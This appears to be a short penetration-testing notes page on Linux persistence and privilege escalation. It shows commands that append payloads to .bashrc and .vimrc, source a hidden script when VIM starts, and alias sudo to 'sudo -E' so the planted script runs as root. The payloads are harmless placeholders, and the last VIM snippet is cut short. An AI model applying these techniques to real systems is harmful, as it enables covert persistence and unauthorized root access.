Linux
dotfiles .xxx
/bin/bash
.bash_profile
is executed when logging in to the system initially. This happens when logging in to the machine itself, via a serial console or SSH.
.bashrc
is executed when a new terminal window is opened from an existing login session or when a new shell instance is started from an existing login session.
We can modify .bash_profile
or .bashrc
to set environment variables or load scripts when a user initially logs in to a system. Can be useful when trying to maintain persistence, and escalate privileges... e.g. echo "touch /tmp/bashtest.txt" >> ~/.bashrc
VIM
Unrestricted VIM environment -
echo "!touch /tmp/test.txt" >> ~/.vimrc
echo "#!/bin/bash" >> ~/.vimrunscript
echo '' >> ~/.vimrunscript
echo ":silent !source ~/.vimrunscript" >> ~/.vimrc
sudo vi
VIM handles its configuration files differently for a user in a sudo context depending on the distribution of Linux.
Ubuntu and Red Hat, VIM will use the current user's .vimrc configuration file even in a sudo context. (if the user runs VIM via sudo
, our script being sourced will also run as root)
In other distributions, such as Debian, in a sudo context, VIM will use the root user's VIM configuration. We can add an alias to the user's .bashrc file as below shows -
In Debian
The alias
replaces a standard sudo
call with one that will force sudo
to persist the user's VIM settings, so that the shell script being loaded will then also run as root when user runs VIM via sudo
echo 'alias sudo="sudo -E"' >> ~/.bashrc
source ~/.bashrc
Restricted VIM environment that blocks shell command -
:if $USER == "root"
:autocmd BufWritePost * :silent
:endif
Last updated